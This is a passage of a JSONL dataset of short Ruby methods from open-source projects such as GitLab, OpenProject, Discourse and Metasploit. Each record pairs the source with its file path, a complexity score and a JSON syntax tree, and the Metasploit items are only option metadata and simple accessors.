hildren\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[888]}]}]}]}]}]}","id":"78df78a5-8a5c-4692-809c-8fb4808bf3b9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pglogical_subscription.rb","start_line":300,"raw_source":"def with_remote_pglogical_client(connect_timeout = 0)\n    with_remote_connection(connect_timeout) do |conn|\n      yield PG::LogicalReplication::Client.new(conn.raw_connection)\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"with_remote_pglogical_client\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"connect_timeout\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_remote_connection\",{\"type\":\"lvar\",\"children\":[\"connect_timeout\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"LogicalReplication\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"raw_connection\"]}]}]}]}]}","id":"5f2eeef6-3dc6-450f-a86a-67385b6f7ef5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/project_config/source.rb","start_line":45,"raw_source":"def inputs_for_pipeline_creation\n          # For internal_include_prepended?, we already pass the inputs to the `include` statement.\n          internal_include_prepended? ? {} : inputs\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"inputs_for_pipeline_creation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"internal_include_prepended?\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"inputs\"]}]}]}","id":"19963aa2-216d-402a-81de-02e608555213"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_web_ide_terminal_service.rb","start_line":114,"raw_source":"def ref\n      strong_memoize(:ref) do\n        Gitlab::Git.ref_name(params[:ref])\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ref\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"ref\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"ref_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]}]}]}]}","id":"8fcc03dc-c5d0-41ed-84db-4bb97fc0dafc"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":444,"raw_source":"def name_and_sku\n      \"#{name} - #{sku}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"name_and_sku\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sku\"]}]}]}]}","id":"0558f1ec-2b4e-4613-99bf-3a61712b19fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240812040748_add_unique_constraint_to_remote_development_agent_configs.rb","start_line":10,"raw_source":"def up\n    add_concurrent_index :remote_development_agent_configs, :cluster_agent_id, name: INDEX_NAME, unique: true\n    remove_concurrent_index_by_name :remote_development_agent_configs, EXISTING_INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"remote_development_agent_configs\"]},{\"type\":\"sym\",\"children\":[\"cluster_agent_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"remote_development_agent_configs\"]},{\"type\":\"const\",\"children\":[null,\"EXISTING_INDEX_NAME\"]}]}]}]}","id":"c0e8ab2e-c261-4790-b63c-fa4085eb6e93"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/features/support/pages/cost_report_page.rb","start_line":74,"raw_source":"def expect_column_element(text, present: true)\n      if present\n        expect(page).to have_css(\"#group-by--selected-columns .group-by--selected-element\", text:)\n      else\n        expect(page).to have_no_css(\"#group-by--selected-columns .group-by--selected-element\", text:)\n      end\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_column_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwoptarg\",\"children\":[\"present\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"present\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"#group-by--selected-columns .group-by--selected-element\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\"#group-by--selected-columns .group-by--selected-element\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}]}]}","id":"9d73f021-102e-4570-90f8-b25fcd8d074d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/users/profile/attributes_component.rb","start_line":38,"raw_source":"def initialize(user:)\n        super()\n\n        @user = user\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"0438ddcc-2817-46a2-b385-73eb046196a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/lock_writes_manager.rb","start_line":73,"raw_source":"def unlock_writes\n        if force || table_locked_for_writes?\n          logger&.info Rainbow(\"Database: '#{database_name}', Table: '#{table_name}': Allow Writes\").green\n          sql_statement = <<~SQL\n            DROP TRIGGER IF EXISTS #{write_trigger_name} ON #{table_name};\n          SQL\n\n          result = process_query(sql_statement, 'unlock')\n\n          result_hash(action: result)\n        else\n          logger&.info \"Skipping unlock_writes, because #{table_name} is already unlocked for writes\"\n          result_hash(action: 'skipped')\n        end\n      end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unlock_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force\"]},{\"type\":\"send\",\"children\":[null,\"table_locked_for_writes?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Database: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_name\"]}]},{\"type\":\"str\",\"children\":[\"', Table: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"': Allow Writes\"]}]}]},\"green\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_statement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_trigger_name\"]}]},{\"type\":\"str\",\"children\":[\" ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"process_query\",{\"type\":\"lvar\",\"children\":[\"sql_statement\"]},{\"type\":\"str\",\"children\":[\"unlock\"]}]}]},{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping unlock_writes, because \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" is already unlocked for writes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"skipped\"]}]}]}]}]}]}]}","id":"9d6e2321-58ef-4919-830e-43e0044ae855"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service.rb","start_line":368,"raw_source":"def reassign_category\n    # work_package is moved to another project\n    # reassign to the category with same name if any\n    if work_package.category.present?\n      category = work_package.project.categories.find_by(name: work_package.category.name)\n\n      work_package.category = category\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reassign_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"category\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"project\"]},\"categories\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"category\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"category=\",{\"type\":\"lvar\",\"children\":[\"category\"]}]}]},null]}]}","id":"c3937f44-3e48-424c-80d7-f4bad0bc29af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":293,"raw_source":"def service_ping_context_for(event_name)\n    have_attributes(\n      class: SnowplowTracker::SelfDescribingJson,\n      to_json: include(\n        schema: Gitlab::Tracking::ServicePingContext::SCHEMA_URL,\n        data: include(event_name: event_name)\n      )\n    )\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"service_ping_context_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[null,\"have_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SnowplowTracker\"]},\"SelfDescribingJson\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_json\"]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"ServicePingContext\"]},\"SCHEMA_URL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]}]}]}]}]}]}]}]}]}]}]}","id":"085a7a30-85a8-4974-a374-c8d356e32306"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/labels_helper.rb","start_line":60,"raw_source":"def render_colored_label(label, suffix: '')\n    render_label_text(\n      label.name,\n      suffix: suffix,\n      css_class: \"gl-label-text #{label.text_color_class}\",\n      bg_color: label.color\n    )\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_colored_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"kwoptarg\",\"children\":[\"suffix\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_label_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suffix\"]},{\"type\":\"lvar\",\"children\":[\"suffix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-label-text \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"text_color_class\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bg_color\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"color\"]}]}]}]}]}","id":"44aa59d9-ea89-4174-baab-224c0a000790"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nagios_xi_mibs_authenticated_rce.rb","start_line":75,"raw_source":"def username\n    datastore['USERNAME']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}","id":"373d16b9-543b-4434-a15c-d7b5c16fefd1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_eager_loading_wrapper.rb","start_line":56,"raw_source":"def wrap_and_apply(work_packages, container_classes, timestamps:, query:)\n            containers = container_classes\n                         .map { |klass| klass.new(work_packages, timestamps:, query:) }\n\n            work_packages = work_packages.map do |work_package|\n              new(work_package)\n            end\n\n            containers.each do |container|\n              work_packages.each do |work_package|\n                container.apply(work_package)\n              end\n            end\n\n            work_packages\n          end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_and_apply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"container_classes\"]},{\"type\":\"kwarg\",\"children\":[\"timestamps\"]},{\"type\":\"kwarg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"containers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_classes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"work_packages\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"containers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"apply\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]}","id":"e5814874-823d-4ed4-88ca-32bf634ec3e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/confirm_session.rb","start_line":6,"raw_source":"def click_forgot_password\n        find(\".confirm-session .confirm-session__reset-btn\").click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_forgot_password\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".confirm-session .confirm-session__reset-btn\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"42c8c638-e412-4d6e-b8cf-871dc2b450b8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_type_predicate.rb","start_line":27,"raw_source":"def on_send(node)\n          node_type_check(node) do |node_type|\n            return unless Parser::Meta::NODE_TYPES.include?(node_type)\n\n            message = format(MSG, type: node_type)\n            add_offense(node, message: message) do |corrector|\n              range = node.receiver.loc.selector.join(node.source_range.end)\n\n              corrector.replace(range, \"#{node_type}_type?\")\n            end\n          end\n        end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"Meta\"]},\"NODE_TYPES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"node_type\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"node_type\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"loc\"]},\"selector\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_type\"]}]},{\"type\":\"str\",\"children\":[\"_type?\"]}]}]}]}]}]}]}]}","id":"0dcdbb89-c412-47fa-a3d3-23af7d358bf8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat.rb","start_line":126,"raw_source":"def minimize_full_page\n        find(\".c-navbar__open-drawer-button\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"minimize_full_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".c-navbar__open-drawer-button\"]}]},\"click\"]}]}","id":"bd4252a2-6498-43e5-ac72-25e4bf40563e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/qualys/asset.rb","start_line":4,"raw_source":"def find_qualys_asset_ports(i,host,wspace,hobj,task_id)\n    return unless (i == Msf::DBManager::Import::Qualys::TCP_QID || i == Msf::DBManager::Import::Qualys::UDP_QID)\n    proto = i == Msf::DBManager::Import::Qualys::TCP_QID ? 'tcp' : 'udp'\n    qid = host.xpath(\"VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']\").first\n    qid_result = qid.parent.xpath(\"RESULT[@format='table']\") if qid\n    hports = qid_result.first.text if qid_result\n    if hports\n      hports.scan(/([0-9]+)\\t(.*?)\\t.*?\\t([^\\t\\n]*)/) do |match|\n        if match[2] == nil or match[2].strip == 'unknown'\n          name = match[1].strip\n        else\n          name = match[2].strip\n        end\n        handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id)\n      end\n    end\n  end","complexity_score":48.15,"ast_json":"{\"type\":\"def\",\"children\":[\"find_qualys_asset_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]},{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"wspace\"]},{\"type\":\"arg\",\"children\":[\"hobj\"]},{\"type\":\"arg\",\"children\":[\"task_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBManager\"]},\"Import\"]},\"Qualys\"]},\"TCP_QID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBManager\"]},\"Import\"]},\"Qualys\"]},\"UDP_QID\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBManager\"]},\"Import\"]},\"Qualys\"]},\"TCP_QID\"]}]},{\"type\":\"str\",\"children\":[\"tcp\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"xpath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"VULN_INFO_LIST/VULN_INFO/QID[@id='qid_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qid\"]},{\"type\":\"lvasgn\",\"children\":[\"qid_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qid\"]},\"parent\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"RESULT[@format='table']\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qid_result\"]},{\"type\":\"lvasgn\",\"children\":[\"hports\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qid_result\"]},\"first\"]},\"text\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hports\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hports\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([0-9]+)\\\\t(.*?)\\\\t.*?\\\\t([^\\\\t\\\\n]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"unknown\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"strip\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_qualys\",{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"task_id\"]}]}]}]},null]}]}]}","id":"5a34d7c4-b87f-4b8e-8f6a-ac064fbbb8eb"}
